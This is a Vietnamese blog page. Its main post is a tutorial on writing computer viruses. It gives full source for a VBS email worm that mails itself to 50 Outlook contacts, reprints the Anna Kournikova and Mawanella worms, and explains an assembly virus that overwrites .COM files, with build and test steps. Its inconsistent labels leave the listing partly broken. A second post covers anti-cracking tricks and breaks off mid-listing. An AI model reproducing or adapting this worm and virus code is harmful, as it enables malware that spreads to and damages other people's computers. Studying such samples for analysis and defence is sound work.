Trao đổi với tôi

http://www.buidao.com

6/30/09

[Virus] Lập trính Virus (st)

Lập trình virus ( st)

Link gốc: http://vuau.wordpress.com/2007/11/16/l%E1%BA%ADp-trinh-virus-st/

Author: vuau (sưu tầm)

Trước tiên tôi nói về cách làm thế nào để viết một Email-Worn bằng Visual BasicScript:Việc sử dụng VBS để viết virus có thể nói là khá phổ biến, điển hình như virus loveletter,Anakournikova,mawanella ..

Ở đây tôi chỉ phân tích chi tiết về mã nguồn có chức năng là làm lây lan virus , còn tác dụng (đối với người code virus) và tác hại đối với vixtim như thế nào là tùy vào mỗi virus)

——————-source code————-

On Error Resume Next
Dim x
Set so=CreateObject(”Scripting.FileSystemObject”)
so.GetFile(WScript.ScriptFullName).Copy(”C:\virusn ame.vbs”)
Set ol=CreateObject(”Outlook.Application”)
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace(”MAPI”).AddressLists(1).Ad dressEntries(x)
Mail.Subject=”Tiêu đề của thư”
Mail.Body=”nội dung thư”
Mail.Attachments.Add(”C:\virusname.vbs”)
Mail.Send
Next
ol.Quit

———————————–

Với những người đã quen với lập trình VB thì không khó để hiểu đoạn mã này.

Đầu tiên nó sẽ tìm trong AddressBook của victim ,ở đây biến x chạy từ 1 đến 50 tương ứng với việc

Nó sẽ tìm 50 địa chỉ trong Address list, và gửi mail đến các địa chỉ đó với tiêu đề và nội dung cho trước

Và nó sẽ đính kèm chính nó vào bức thư đó, như vậy khi victim click vào nó sẽ hoạt động, cứ như vạy mà lây lan.

Để tìm hiểu thêm các bạn có thể xem mã nguồn của virus AnnaKournikova dưới đây, bạn có thể thấy ở hàm OutLook của virus AnnaKournikova cũng sử dụng cách thức gần giống với đoạn mã phía trên.Đối với virus *.vbs thì chỉ cần code mã nguồn bằng notepad rồi save as *.vbs là xong. Và cách thức vô hiệu hóa virus dạng này (chỉ là tạm thời trước khi có trình diệt virus cần thiết) là bỏ window ScriptingHost (theo bài viết bên PcleHoan).Trong phần tùy chọn các mục cài đặt của windows. Tôi nói đây chỉ là tạm thời bời vì mặc dù có thể nói bằng cách này virus không còn môi trường để hoạt động nhưng một số ứng dụng khác cũng không hoạt động ví dụ như bạn sẽ gặp trục trặc trong việc hiển thị Desktop,explorer theo kiểu As Web Page.. Vậ nên cách tốt nhất vẫn là cập nhật chương trình diệt virus thường xuyên.

//*****Decrypted Code******
‘Vbs.OnTheFly Created By OnTheFly //L@/\/\3R who released the worm
On Error Resume Next
Set ws = CreateObject(”WScript.Shell”)

//says “Worm made with VBSwg 1.50b”: another pitfall
ws.regwrite “HKCU\software\OnTheFly\”, Chr(87) & Chr(111) & Chr(114) &
Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) &
Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) &
Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) &
Chr(48) & Chr(98)

Set fso= Createobject(”scripting.filesystemobject”)

fso.copyfile wscript.scriptfullname,fso.GetSpecialFolder(0)&
“\AnnaKournikova.jpg.vbs”

if ws.regread (”HKCU\software\OnTheFly\mailed”) <> “1″ then
Outlook()
end if

//Red Herring? Maybe, but NL *might* be the origin of the worm
if month(now) =1 and day(now) = 26 then
ws.run “Http://www.dynabyte.nl”,3,false
end if

//The following section could be an anti-deletion technique
Set AnnaKournikova = fso.opentextfile(wscript.scriptfullname, 1)
SourceCode = AnnaKournikova.readall
AnnaKournikova.Close
Do
If Not (fso.fileexists(wscript.scriptfullname)) Then
Set AnnaKournikova = fso.createtextfile(wscript.scriptfullname, True)
AnnaKournikova.write SourceCode
AnnaKournikova.Close
End If
Loop

Function Outlook()
On Error Resume Next
Set OutlookApp = CreateObject(”Outlook.Application”)
If OutlookApp= “Outlook”Then
Set Mapi=OutlookApp.GetNameSpace(”MAPI”)
Set MapiAdList= Mapi.AddressLists
For Each Address In MapiAdList
If Address.AddressEntries.Count <> 0 Then
NumOfContacts = Address.AddressEntries.Count
//Get a list of contacts
For ContactNumber = 1 To NumOfContacts
Set EmailItem = OutlookApp.CreateItem(0)
Set ContactNumber = Address.AddressEntries(ContactNumber)
EmailItem.To = ContactNumber.Address
EmailItem.Subject = “Here you have, ;o)”
EmailItem.Body = “Hi:” & vbcrlf & “Check This!” & vbcrlf & “”
set EmailAttachment=EmailItem.Attachments
EmailAttachment.Add fso.GetSpecialFolder(0)& “\AnnaKournikova.jpg.vbs”
EmailItem.DeleteAfterSubmit = True

//Send the thing
If EmailItem.To <> “” Then
EmailItem.Send
ws.regwrite “HKCU\software\OnTheFly\mailed”, “1″
End If
Next
End If
Next
end if
End Function
‘Vbswg 1.50b

Ở mã nguồn của virus AnnaKournikova bạn có thể thấy một số chỗ sử dụng Chr(x) đó là cách thay vì viết bằng các ký tự ASCII nó sử dụng hàm Chr để tránh việc bị các trình diệt virus phát hiện.Trong hacking thì chắc các bạn thấy một số trường hợp có sử dụng Chr(x) để thay cho các dấu /,%,\. (tất nhiên là không phải để tránh các trình diệt virus) Còn đây là mã nguồn của mawanella:

————————————–source code—————-

‘ Mawanella Worm

‘ Decrypted by MrBrownstone

On Error ResumeNext

Rem // I hate Mawanella incident

Set W_S = CreateObject(”WScript.Shell”)

Set fso = CreateObject(”Scripting.FileSystemObject”)

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr, strMsg

set wscr=CreateObject(”WScript.Shell”)

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set cFile = fso.GetFile(WScript.ScriptFullName)

cFile.Copy(dirsystem&”\Mawanella.vbs”)

Set OutlookA = CreateObject(”Outlook.Application”)

If OutlookA = “Outlook” Then

Set Mapi=OutlookA.GetNameSpace(”MAPI”)

Set AddLists=Mapi.AddressLists

For Each ListIndex In AddLists

If ListIndex.AddressEntries.Count <> 0 Then

ContactCountX = ListIndex.AddressEntries.Count

For Count= 1 To ContactCountX

Set MailX = OutlookA.CreateItem(0)

Set ContactX = ListIndex.AddressEntries(Count)

‘msgbox contactx.address

‘Mailx.Recipients.Add(ContactX.Address)

MailX.To = ContactX.Address

MailX.Subject = “Mawanella”

MailX.Body = vbcrlf&”Mawanella is one of the Sri Lanka’s Muslim Village”&vbcrlf

‘Set Attachment=MailX.Attachments

‘Attachment.Add dirsystem & “\Mawanella.vbs”

‘Mailx.Attachments.Add(dirsystem & “\Mawanella.vbs”)

Mailx.Attachments.Add(dirsystem & “\Mawanella.vbs”)

MailX.DeleteAfterSubmit = True

If MailX.To <> “” Then

MailX.Send

End If

Next

End If

Next

Else

msgBox “Please Forward this to everyone”

End if

strMsg= ” ) (” & vbcrlf

strMsg= strMsg & “( ) ( ) ” & vbcrlf

strMsg= strMsg & ” ( ) ( )” & vbcrlf

strMsg= strMsg & ” ( ) ( )” & vbcrlf

strMsg= strMsg & ” ————————-” & vbcrlf

strMsg= strMsg & ” / ( ( ( /\” & vbcrlf

strMsg= strMsg & ” / ( / \” & vbcrlf

strMsg= strMsg & ” / ( ( / \” & vbcrlf

strMsg= strMsg & ” ——————————–” & vbcrlf

strMsg= strMsg & ” | — | |” & vbcrlf

strMsg= strMsg & ” | —– | | | |” & vbcrlf

strMsg= strMsg & ” | | | — | |” & vbcrlf

strMsg= strMsg & ” | | | | |” & vbcrlf

strMsg= strMsg & ” ——————————–” & vbcrlf

strMsg= strMsg & “Mawanella is one of the Sri Lanka’s Muslim Village.” & vbcrlf

strMsg= strMsg & “This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt.” & vbcrlf

strMsg= strMsg & “I hat this incident, What about you? I can destroy your computer” & vbcrlf

strMsg= strMsg & “I didn’t do that because I am a peace-loving citizen.”

msgbox strMsg,,”Mawanella”

End sub
—————————————————————-

Ở phần sau tôi sẽ hướng dẫn các bạn cách viết một virus đơn giản bằng Asm. Tất nhiên là đỏi hỏi phải biết một ít về Asm.

VIẾT MỘT VIRUS GHI ĐÈ LÊN FILE *.COM BẰNG ASM

(Sử dụng tài liệu của nhóm Code Breaker)

Trước tiên hãy xem đoạn mã của virus:

code segment

assume cs:code,ds:code

org 100h

virus proc near

first_file:

mov ah,4eh

tim_file:

xor cx,cx

lea dx,comsig

int 21h

jc ketthuc

mo_file:

mov ax,3d02h

mov dx,9eh

int 21h

nhiem_file:

xchg bx,ax

mov ah,40h

mov cx,offset horny – offset first_fly

lea dx,first_fly

int 21h

stitch_up:

mov ah,3eh

int 21h

mov ah,4fh

jmp find_fly

ketthuc:

mov ah,09h

mov dx,offset wart

int 21h

cya: int 20h

comsig db “*.com”,0

msgadd db ‘Congratulations! You have infected all the COM files

in this ‘,10,13

db ‘directory . Have a

nice day.’,10,13,’$’

horny label near

virus endp

code ends

end first_fly
Virus của chúng ta sẽ là một file .com ,giới hạn của *.com file là 65,536 bytes.Qua virus này bạn sẽ biết được định dạng chung của một file .com, chúng ta hãy phân tích đoạn mã trên:

================================================== ======

code segment

tất cả những mã có thể thi hành nằm trong code segment , tất nhiên không nhất thiết segment phải có tên là code, cấu trúc khai báo là như sau:

segment_name segment

————

———-

———-

segment_name Ends

end
Nếu bạn đã hoc Asembly thì không cần phải đọc chỗ này.

================================================== ======

assume cs:code,ds:code

Nói chung đây là phần thiết đặt tham số cho file .com của chúng ta, với

CS(code segment) là nơi chứa địa chỉ bắt đầu thực thi của chương trình.

org 100h

org 100h luôn luôn đi theo assume directive. Nó thông báo cho máy tính biết rằng file COM đuợc xác đình tại địa chỉ 100 hex hay 256 bytes.

================================================== ======

proc virus near
Cái này không thực sự cần thiết vì procedure này là chương trình con duy nhất trong chương trình.Những chương trình lớn hơn sẽ có nhiều Procedure trong code segment để thức hiện một nhiệm vụ nhất định nào đó. ================================================== ======

first_file:

mov ah,4eh

Bậy giờ là phần cốt lõi của virus ,nếu bạn đã hoc lập trình thì các bạn cũng biết nhựng cái theo sau là dấu hai chấm được gọi là nhãn, nó hữ¬ ích cho việc xác định vị trí để xài các lệnh nhảy trong ASM hay lệnh goto trong Pascal,delphi…

Để phân tích tiếp chúng ta cần biết thanh ghi là gì?Một thanh ghyi được sử dụng để khởi đầu chỉ lệnh để máy tính thi hành một yêu cầu hoạt động ,được sử dụng để ghi địa chỉ bộ nhớ và chuẩn bị những hàm số học cơ bản , nhập xuất dữ liệu… .Bốn thanh ghi cơ bản sử dụng trong virus này là AX, BX, CX, DX (). Thanh ghi ax sử dụng cho nhập xuất và các thao tác tính toán cơ bản BX (base register) sử dụng để tính toán CX (count register ) sử dụng để tính toán hay đếm trong vòng lặp. DX (data register ) giống như AX , được sử dụng cho nhập xuất , hoạt động nhân chia

Bây giờ trở lại với virus của chúng ta mục đích cua get_fly là tìm thấy file để làm nhiễm. Thực sự là tìm file đầu tiên trong thư mục có thuộc tính chúng ta cần. Vì vậy,chúng tac ần nạp điều kiện vào thanh ghi chung và thực hiện một lệnh ngắt. Ơû đây do là một chương trình DOS nên chỉ đề cập đến thanh ghi 16 bit , môt thanh ghi 16 bit gồm 2 phần, mỗi phần 8 bit ví dụ AX:AH-AL tương tự như vậy ta có : BH – BL, CH – CL, va’ DH – DL. Giá trị cần nạp vào thanh ghi chung là 4e hex vào AH, CX = zero để set thuộc tính của file là normal, và cuối cùng, DX cần một chuỗi chỉ đính file mà chúng ta đang tìm kiếm để làm nhiễm. Và để di chuyển 4e hex vao’ AH chúng ta sử dụng lệnh MOV. MOV AH, 4eh có nghĩa là chuyển giá trị 4e hex vào AH

================================================== =========

tim_file:

xor cx,cx
Việc tiếp theo cần làm là giá trị trong CX =0, chúng ta có thể làm bằng 2 cách , một là MOV CX, 0, hai là XOR CX, CX tuy nhiên nấu sử dụng MOV CX,0 chúng ta sẽ mất 3 bytes trong khi sử dụng XOR CX,CX chúng ta chỉ mất 2 bytes và chúng đều có chức năng set cho CX =0. Vậy thì tốt hơn là nên chọn XOR CX,CX

================================================== =========

lea dx,comsig

Tiếp theo chúng ta cần nạp chuỗi với file chỉ định mà chúng ta tìm kiếm vào DX.

Chúng ta đang tìm file . COM. Vi vay chuỗi cần tìm là *.COM. Đây là cách tìm kiếm những tập tin có đuôi là *.COM. Chuỗi này được xác định tại địa chỉ comsig trong data segment của virus . Và để chuyển chuỗi đó vào DX chúng ta thực hiện lệnh

LEA DX, comsig, oad the ffective ddress of comsig into DX. Chúng ta cũng có thể sử dụng lệnh MOV bằng cách như sau

MOV DX, offset comsig. ================================================== =========

int 21h

Nói chung lệnh ngắt để dừng chương trình lại và thực hiện một công việc nào đó .Co’ 256 lệnh ngắt các bạn có thể tham khảo thêm ở các sách dạy hợp ngữ .Ở đoạn mã này của virus sau khi chuyển 4e hex vào AX xóa CX, chuyển chuỗi chỉ định tên file cần tìm ta thực hiện lệnh ngắt int 21 để chương trình bắt đầu tìm tệp đầu tiên với thuôc tính cho trước trong CX và DX (các bạn tra trong sách hợp ngữ về các chức năng của ngắt int 21 để biết thêm chi tiết)

================================================== =========

jc ketthuc

Đây là một lệnh nhảy có điều kiên’. Nếu một file được tìm thấy cờ carry được set là zero nếu không tìm thấy cờ carry set thành 1 lệnh JC kiểm tra nếu cờ carry bằng 1nó sẽ nhảy tới vị trí có nhãn wart_growth và thi hành lệnh tại offset đó .Và đoạn mã này có chức nằng như sau: nó kiểm tra xem nếu tìm thấy thì tiến hành các bước làm nhiễm file nếu không thì nhãy tời đoạn mã báo hiệu bạn đã làm nhiễm thành cộng tất cả các file .Com trong thư mục chứa nó .

================================================== ===========

mo_file:

mov ax,3d02h

mov dx,9eh

int 21h
Đoạn mã này được thực hiện khi đã tìm thấy một file .COM trong thư mục đầu tiên cần nạp 3D vào AL và 02h có nghĩa là mở file trong chế độ đọc/ghi. 00h trong AL sẽ mở file ở chế độ chỉ đọc , 01h trong AL là chỉ ghi. Nhớ rằng AX là thanh ghi 16-bit gồm, AH và AL.Vi vay chúng ta có thể nạp hai giá trị cùng lúc . bằng cách nạp AX với 3d02h. Nhớ rằng chúng ta luôn luôn sử dụng gia’ trị ở hệ hex. Một lỗi đơn giản nhưng hay gặp phải là thiếu “h” sau int 21 hay sau các số ở hệ HEX bạn cần chú ý . Nếu thiếu Hex máy tính sẽ nghĩ bạn sử dụng hệ thập phân và dĩ nhiên trong hệ thập phân máy tính sẽ coi D,E,F chả ra củ khoai gì …. Tiếp theo chúng ta cần nạp vào DX một chuỗi ASCII là tên của file .Như bạn nhìn ở trên 9e hex không phải là một chuỗi ;nó thực ra là offset của địa chỉ chứa chuỗi chúng ta cần. 9e hex được xác định trong PSP trong một vùng gọi là DTA hay isk ransfer rea. PSP bắt đầu tại 00h. Địa chỉ bắt đầu của DTA la’ 80 hex.Trong DTA là thông tin trên file đã được tìm thấy. Những gì chúng ta cần là file name, được xác định tại offset 1eh từ phần bắt đầu của DTA. Cộng 80 với 1eh ta có 9eh. Nạp 9e hex vào thanh ghi DX chúng ta có file name . bây giờ thức hiện int 21h để thi hành thủ tục trên.

================================================== ============

nhiem_file:

xchg bx,ax

mov ah,40h

mov cx,offset horny – offset first_fly

lea dx,first_fly

int 21h
Đây là phần làm nhiê’m file sau khi đã mở nó .Ở đoạn mã trước File handle của file được mở nằm trong AX chúng ta cần nó nằm trong BX vậy nên thực hiện lệnh

xchg bx,ax bằng cách này toàn bộ giá trị trong ax sẽ chuyển vào bx . CX cần được nạp một số lượng byte mà chúng ta muốn ghi vào. Và thay vì ta sử dụng một con số nào đó để chỉ định số bytes ta để máy tính tính khoảng cách từ 2 offset nhãn horny và firts_fly như vậy khoảng cách từ nhãn first_fly đến horny là số lượng bytes mà chúng ta muốn ghi vào file. Cuối cùng, DX cần được nạp địa chỉ mà chúng ta muốn ghi và địa chỉ cua’ first_fly được nạp vào DX. Đó là phần bắt đầu của mã mà chúng ta muốn ghi vào file tìm thấy .Sau đó thực hiện int 21 sẽ hoàn tất việc làm nhiễm file.

================================================== =========

stitch_up:

mov ah,3eh

int 21h

mov ah,4fh

jmp find_fly

Sau khi file đã bị nhiễm chúng ta cần đóng file đó lại và đây là đoạn mã thực hiện việc này. Sau khi đóng file chúng ta nạp 4f hex vào AH rồi nhảy trở về đoạn mã để tìm file .COM kế tiếp. Và nó sẽ thực hiện việc nhiễm file cho đến khi nào tất cả file .COM trong thu muc chưa nó đã bị nhiễm.Lúc đó cờ carry=1 và lệnh nhảy jc sẽ hoạt động đưa ra thông báo chúc mừng.

================================================== =================

Ketthuc:

mov ah,9

mov dx,offset wart

int 21h

================================================== ================

cya: int 20h

Chức năng của int 20 là kết thúc chương trình , tuy nhiên cách hiện nay hay dùng là MOV AH,4CH

int 21

================================================== ================

comsig db “*.com”,0

msgadd db ‘Congratulations! You have infected all the COM files

in this’,10,13

db ‘Have a nice day.’,10,13,’$’

Đây là data segment nói một cách nọm na là tương tự như bạn khai báo hằng (Const) ở pascal,C++ vậy.Và các hằng này sẽ được sử dụng trong code segment. Chúng ta sử dụng định nghĩa byte DB, để định nghĩa một chuỗi. Việc đặt 10,13 sau các chuỗi giúp cho việc hiển thị nó có thứ tự nếu không cả hai chuỗi sẽ hiển thị cùng lúc lên màn hinh $ tại phần cuối của dòng 2 báo hiệu kết thúc chuôi ================================================== =================

horny label near

nhãn horny chỉ có một mục đích là để xác điịnh offset trong việc xác định số byte ghi vào file cần làm nhiễm ================================================== =================

virus endp

code ends

end first_fly

kết thúc chương trình
================================================== ==============

Biên dịch virus :

Bạn cần có TASM hay MASM. Trongbài này tôi hướng dẫn các bạn biên dịch virus bằng TASM. Các file cần có virus.asm TASM.EXE, TLINK

Đầu tiên lưu nó thành file “.asm” file,có thể sử dụng Notepad để soạn thảo mã rồi save as virus.asm. Sử dụng TASM gõ lệnh:

C:\>tasm virus.asm

Kết quả có thể là như sau:

Turbo Assembler Version 2.01

Assembling file: virus.asm

Error Messages: none

Warning Messages: none

Passes: 1

Remaining Memory: 418k (or something similar)

Nếu không có lỗi nào, nếu có lỗi nó sẽ báo cho bạn biết lỗi gì ở dòng nào .

Sau khi gõ lệnh TASM bạn sẽ được file *.obj

Để tạo COM file bạn gõ lệnh:

C:\>tlink /t virus.obj

Tlink sẽ tạo ra file virus.COM

Bây giờ hãy thử nghiệmvirus của bạn, mở Notepad lên, ghi gì tùy bạn , không ghi cũng được lưu thành file vidu.com. đặt nóvào thư muc của virus bạn vừa biên dịch. Rồi chạy virus bạn sẽ thấy kích thước của file vidu.com bây giờ sẽ bằng kích thước của virus(180 bytes). Tuy nhiên nhược virus này sẽ làm nhiễm tất cả các file .com trong thư mục chứa nó mà không cần biết file đó đã bị nhiễm hay chưa, ở phần sau tôi sẽ hướng dẫn các bạn cách để kiểm tra xem một file đã bị nhiễm hay chưa. Và cònmột điều nữa là virus này không có tác dụng với những file .com có size lớn hơn nó (đây chỉ là để minh họa nên tôi nghĩ như vậy là đủ)

================================================== =============

Appendix 1 – The Registers

AX Accumulator register

BX Base register

CX Counting register

DX Data register

DS Data Segment register

ES Extra Segment register

SS Stack Segment register

CS Code Segment register

BP Base Pointers register

SI Source Index register

DI Destiny Index register

SP Stack Pointer register

IP Next Instruction Pointer register

F Flag register

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_

Appendix 2 – The PSP

Format of Program Segment Prefix (PSP):

Offset Size Description (Table 1032)

00h 2 BYTEs INT 20 instruction for CP/M CALL 0 program termination

the CDh 20h here is often used as a signature(chu ky) for a valid PSP

02h WORD segment of first byte beyond memory allocated to program

04h BYTE (DOS) unused filler

(OS/2) count of fake DOS version returns

05h BYTE CP/M CALL 5 service request (FAR CALL to absolute 000C0h)

BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh

06h WORD CP/M compatibility–size of first segment for .COM files

08h 2 BYTEs remainder of FAR JMP at 05h

0Ah DWORD stored INT 22 termination address

0Eh DWORD stored INT 23 control-Break handler address

12h DWORD DOS 1.1+ stored INT 24 critical error handler address

16h WORD segment of parent PSP

18h 20 BYTEs DOS 2+ Job File Table, one byte per file handle, FFh = closed

2Ch WORD DOS 2+ segment of environment for process (see #1033)

2Eh DWORD DOS 2+ process’s SS:SP on entry to last INT 21 call

32h WORD DOS 3+ number of entries in JFT (default 20)

34h DWORD DOS 3+ pointer to JFT (default PSP:0018h)

38h DWORD DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x)

used by SHARE in DOS 3.3

3Ch BYTE DOS 4+ (DBCS) interim console flag (see AX=6301h)

Novell DOS 7 DBCS interim flag as set with AX=6301h

(possibly also used by Far East MS-DOS 3.2-3.3)

3Dh BYTE (APPEND) TrueName flag (see INT 2F/AX=B711h)

3Eh BYTE (Novell NetWare) flag: next byte initialized if CEh

(OS/2) capabilities flag

3Fh BYTE (Novell NetWare) Novell task number if previous byte is CEh

40h 2 BYTEs DOS 5+ version to return on INT 21/AH=30h

42h WORD (MSWindows3) selector of next PSP (PDB) in linked list

Windows keeps a linked list of Windows programs only

44h WORD (MSWindows3) “PDB_Partition”

46h WORD (MSWindows3) “PDB_NextPDB”

48h BYTE (MSWindows3) bit 0 set if non-Windows application (WINOLDAP)

49h BYTE unused by DOS versions <= 6.00

4Ch WORD (MSWindows3) “PDB_EntryStack”

4Eh 2 BYTEs unused by DOS versions <= 6.00

50h 3 BYTEs DOS 2+ service request (INT 21/RETF instructions)

53h 2 BYTEs unused in DOS versions <= 6.00

55h 7 BYTEs unused in DOS versions <= 6.00; can be used to make first FCB

into an extended FCB

5Ch 16 BYTEs first default FCB, filled in from first commandline argument

overwrites second FCB if opened

6Ch 16 BYTEs second default FCB, filled in from second commandline argument

overwrites beginning of commandline if opened

7Ch 4 BYTEs unused

80h 128 BYTEs commandline / default DTA

command tail is BYTE for length of tail, N BYTEs for the tail,

followed by a BYTE containing 0Dh

——————————————————————————

Appendix 3 – Examples of various JUMP commands

JA – Jump if Above

JAE – Jump if Above/Equal

JB – Jump if Below

JBE – Jump if Below/Equal

JC – Jump if Carry

JE – Jump if Equal

JG – Jump if Greater

JGE – Jump if Greater/Equal

JL – Jump if Less

JLE – Jump if Less/Equal

JMP – Jump

JNA – Jump if Not Above

JNAE – Jump if Not Above/Equal

6/29/09

[Reverse] Programming Anti-Cracking

Programming Anti-Cracking (Part 1)

Author: Benina (2008)

Tôi thuộc dạng newbie chính hiệu. Tất cả các bài viết của tôi đều thích hợp cho các bạn mới bắt đầu đọc. Bài viết này cũng ko ngọai lệ. Trong bài viết này tôi chỉ muốn cho các bạn newbie biết cách đơn giản nhất mà các coder coding Anti Crack. Từ đó chúng ta sẽ học nâng cao hơn trong các chủ đề sau này.

1/-Anti Set breakpoint on API function:

Một ví dụ để chứng minh việc ko cần import hàm API MessageBox nhưng vẫn sử dụng được hàm API này. Mục đích chính là để tránh các cracker set breakpoint trên hàm API để crack.

Phương pháp đầu tiên tui mới giới thiệu là dùng hàm LoadLibrary và GetProcAddress

.386

.model flat, stdcall

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

.data

dwMessageBox dd 0

szUser32 db "USER32.dll",0

szMessageBox db "MessageBoxA",0

szTitle db 'No import func',0

szMessage db 'Show MessageBox but no import it!',0

.code

start:

invoke LoadLibrary,addr szUser32

invoke GetProcAddress,eax,offset szMessageBox

mov dwMessageBox,eax

push MB_OK

lea eax,szTitle

push eax

lea eax,szMessage

push eax

push 0

call dword ptr [dwMessageBox]

invoke ExitProcess,NULL

end start

2/-Anti Search for All referenced text strings:

Các cracker dùng tính năng search for all referenced text strings của debug để tìm addr của chuổi thông báo invalid key (bad boy). Do đó để ko để lộ string, chúng ta phải mã hóa (encrypt) nó trước tiên. Sau đó khi cần dùng string chúng ta decrypt lại string.

Sau đây là func vừa encrypt vừa decrypt chuổi string. Hàm này tui tham khảo trong code yC12 của yoda:

EnDeCryptString proc pAddressString:DWORD

PUSH ESI

PUSH EDI

MOV EAX,pAddressString

MOV ESI,EAX

MOV EDI,EAX

DllCryptLoop:

LODSB

ROR AL,4

STOSB

CMP BYTE PTR [EDI],0

JNZ DllCryptLoop

POP EDI

POP ESI

RET

EnDeCryptString endp

;--------------------------------------------------------------------------------------------------

Đây là tòan bộ code ví dụ. Tui ko giải thích nhiều ở đây. Tui chỉ nói sơ qua về cách tìm chuổi szMessage đã mã hóa như phần khai báo .data trong ví dụ. Tôi đã coding một chương trình encrypt chuổi ‘Show MessageBox but no import it!’. Rồi dùng Olly và plugin DataRipper để copy data chuổi đã mã hóa và past vào ví dụ của chúng ta.

.386

.model flat, stdcall

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

EnDeCryptString PROTO :DWORD

.data

dwMessageBox dd 0

szUser32 db "USER32.dll",0

szMessageBox db "MessageBoxA",0

szTitle db 'Cryted String',0

szMessage db 035h, 086h, 0F6h, 077h, 002h, 0D4h, 056h, 037h

db 037h, 016h, 076h, 056h, 024h, 0F6h, 087h, 002h

db 026h, 057h, 047h, 002h, 0E6h, 0F6h, 002h, 096h

db 0D6h, 007h, 0F6h, 027h, 047h, 002h, 096h, 047h

db 012h, 000h

;db 'Show MessageBox but no import it!',0

.code

start:

invoke LoadLibrary,addr szUser32

invoke GetProcAddress,eax,offset szMessageBox

mov dwMessageBox,eax

invoke EnDeCryptString, addr szMessage

push MB_OK

lea eax,szTitle

push eax

lea eax,szMessage

push eax

push 0

call dword ptr [dwMessageBox]

invoke ExitProcess,NULL

EnDeCryptString proc pAddressString:DWORD

PUSH ESI

PUSH EDI

MOV EAX,pAddressString

MOV ESI,EAX

MOV EDI,EAX

DllCryptLoop:

LODSB

ROR AL,4

STOSB

CMP BYTE PTR [EDI],0

JNZ DllCryptLoop

POP EDI

POP ESI

RET

EnDeCryptString endp

end start

Sau khi biên dịch chương trình, chúng ta load vào olly thử xem nó search được badboy ko nhé.

3/-Anti Patching:

Thuở ban đầu khi tôi mới nghiên cứu reversing thì tôi đã đụng đến dạng anti patching này rồi. Kỹ thuật cũ kỹ này chính là dùng thuật tóan CRC để check các bytes tại 1 đọan code nào đó trong code section. Nếu CRC của đọan code đó bằng CRC chuẩn thì coi như đọan code đó ko bị patching. Nếu ko thì chương trình bị cracker patched code. Ta thử thí nghiệm như sau:

Ví dụ đầu tiên ta có một chương trình đơn giản sau:

.386

.model flat, stdcall

option casemap:none

include c:\masm32\include\windows.inc

include c:\masm32\include\kernel32.inc

includelib c:\masm32\lib\kernel32.lib

include c:\masm32\include\user32.inc

includelib c:\masm32\lib\user32.lib

.data

szTitle db 'No import func',0

szMessage db 'Show MessageBox but no import it!',0

.code

start:

push MB_OK

lea eax,szTitle

push eax

lea eax,szMessage

push eax

push 0

lea eax,MessageBox

call eax

invoke ExitProcess,NULL

end start

Nếu ta debugging nó trong Olly thì sẽ như nhận được như sau:

00401000 >/$ 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL

00401002 |. 8D05 00304000 LEA EAX,DWORD PTR DS:[403000] ; |

00401008 |. 50 PUSH EAX ; |Title = NULL

00401009 |. 8D05 0F304000 LEA EAX,DWORD PTR DS:[40300F] ; |

0040100F |. 50 PUSH EAX ; |Text = NULL

00401010 |. 6A 00 PUSH 0 ; |hOwner = NULL

00401012 |. 8D05 28104000 LEA EAX,DWORD PTR DS:[401028] ; |

00401018 |. FFD0 CALL EAX ; \MessageBoxA

0040101A |. 6A 00 PUSH 0 ; /ExitCode = 0

0040101C \. E8 01000000 CALL ; \ExitProcess

Từ addr 00401000 đến addr 0040101A là đọan code thể hiện gọi hàm MessageBoxA. Vậy chúng có chiều dài là 1Ah

Bây giờ ta thử viết một chương trình check xem CRC của đọan code này là bao nhiêu:

.386

.model flat, stdcall

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

include \masm32\include\user32.inc

includelib \masm32\lib\user32.lib

include \masm32\macros\macros.asm

.data

szTitle db 'No import func',0

szMessage db 'Show MessageBox but no import it!',0

dwCRC dd 0

strBenina db "CRC check",0

strFormat db "%x",0

.data?

strTmp db 20 dup(?)

.code

start:

code_check:

push MB_OK

lea eax,szTitle

push eax

lea eax,szMessage

push eax

push 0

lea eax,MessageBox

call eax

push offset code_check

push 1Ah

call CRC32

mov dwCRC,eax

invoke wsprintf,addr strTmp,addr strFormat,eax

invoke MessageBoxA,NULL,addr strTmp,addr strBenina,MB_OK

mov eax,dwCRC

.if eax==082492b0ah

invoke MessageBoxA,NULL,chr$("Program No Patching"),chr$("Normal"),MB_OK

.elseif

invoke MessageBoxA,NULL,chr$("Program Patched"),chr$("Very Bad"),MB_OK

.endif

invoke ExitProcess,0

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

CRC32 proc lData:DWORD, ptrData:DWORD

push esi

push ecx

push edx

mov esi, ptrData

xor edx, edx

or eax, -1

mov ecx, lData

CRC32_loop:

mov dl, byte ptr [esi]

xor dl, al

shr eax, 8

xor eax, dword ptr [crc32_table + 4*edx]

inc esi

dec ecx

jnz CRC32_loop

not eax

pop edx

pop ecx

pop esi

ret

crc32_table dd 000000000h, 077073096h, 0EE0E612Ch, 0990951BAh, 0076DC419h, 0706AF48Fh, 0E963A535h, 09E6495A3h, 00EDB8832h, 079DCB8A4h

dd 0E0D5E91Eh, 097D2D988h, 009B64C2Bh, 07EB17CBDh, 0E7B82D07h, 090BF1D91h, 01DB71064h, 06AB020F2h, 0F3B97148h, 084BE41DEh

